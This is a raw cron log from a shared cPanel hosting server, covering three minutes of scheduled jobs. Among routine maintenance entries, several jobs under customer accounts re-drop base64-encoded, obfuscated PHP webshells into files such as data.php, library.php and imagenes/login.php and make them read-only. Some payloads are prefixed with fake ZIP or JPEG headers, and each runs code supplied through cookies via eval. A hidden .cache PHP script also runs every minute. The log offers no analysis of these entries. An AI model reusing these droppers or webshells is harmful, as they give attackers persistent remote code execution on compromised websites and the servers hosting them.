Mar  2 14:53:01 medusa CROND[27929]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 14:53:01 medusa CROND[27930]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:53:01 medusa CROND[27931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:53:01 medusa CROND[27932]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:53:01 medusa CROND[27934]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:53:01 medusa CROND[27936]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:53:01 medusa CROND[27937]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:53:01 medusa CROND[27941]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:53:01 medusa CROND[27943]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:53:01 medusa CROND[27944]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:53:01 medusa CROND[27939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:54:01 medusa CROND[15622]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:54:02 medusa CROND[15824]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:54:02 medusa CROND[15854]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 14:54:02 medusa CROND[15855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:54:02 medusa CROND[15857]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:54:02 medusa CROND[15858]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:54:02 medusa CROND[15859]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:54:02 medusa CROND[15860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:54:02 medusa CROND[15861]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:54:02 medusa CROND[15863]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:54:02 medusa CROND[15866]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:54:02 medusa CROND[15880]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:54:02 medusa CROND[15881]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:55:01 medusa CROND[918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 14:55:01 medusa CROND[1210]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 14:55:01 medusa CROND[1393]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 14:55:02 medusa CROND[1468]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 14:55:02 medusa CROND[1471]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:55:02 medusa CROND[1472]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 14:55:02 medusa CROND[1473]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 14:55:02 medusa CROND[1469]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 14:55:02 medusa CROND[1470]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:55:02 medusa CROND[1474]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 14:55:02 medusa CROND[1475]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
